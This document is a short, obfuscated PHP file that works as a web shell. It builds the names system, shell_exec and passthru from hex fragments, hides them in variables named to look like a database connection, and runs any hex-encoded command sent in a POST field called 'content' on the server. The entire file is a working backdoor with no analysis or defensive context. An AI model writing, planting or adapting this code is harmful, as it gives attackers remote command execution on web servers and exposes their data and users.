<?php

$storage1 = '73';
$storage2 = '79';
$storage3 = '74';
$storage4 = '65';
$storage5 = '6c';
$storage6 = '5f';
$storage7 = '78';
$storage8 = '6f';
$storage9 = '6e';
$ibase_pconnection1 = pack("H*", $storage1.$storage2.$storage1.$storage3.$storage4.'6d');
$ibase_pconnection2 = pack("H*", '73'.'68'.'65'.'6c'.$storage5.$storage6.$storage4.$storage7.'65'.'63');
$ibase_pconnection3 = pack("H*", $storage1.'68'.'65'.'6c'.'6c');
$ibase_pconnection4 = pack("H*", '70'.'61'.$storage1.$storage1.'74'.'68'.'72'.'75');
$content = pack("H*", '63'.$storage8.$storage9.$storage3.$storage4.'6e'.$storage3);
if (isset($_POST[$content])) {
    $content = pack("H*", $_POST[$content]);
    if (function_exists($ibase_pconnection1)) {
        $ibase_pconnection1($content);
    } elseif (function_exists($ibase_pconnection2)) {
        $ibase_pconnection2($content);
    } elseif (function_exists($ibase_pconnection3)) {
        $ibase_pconnection3($content);
    } elseif (function_exists($ibase_pconnection4)) {
        $ibase_pconnection4($content);
    }
    exit;
}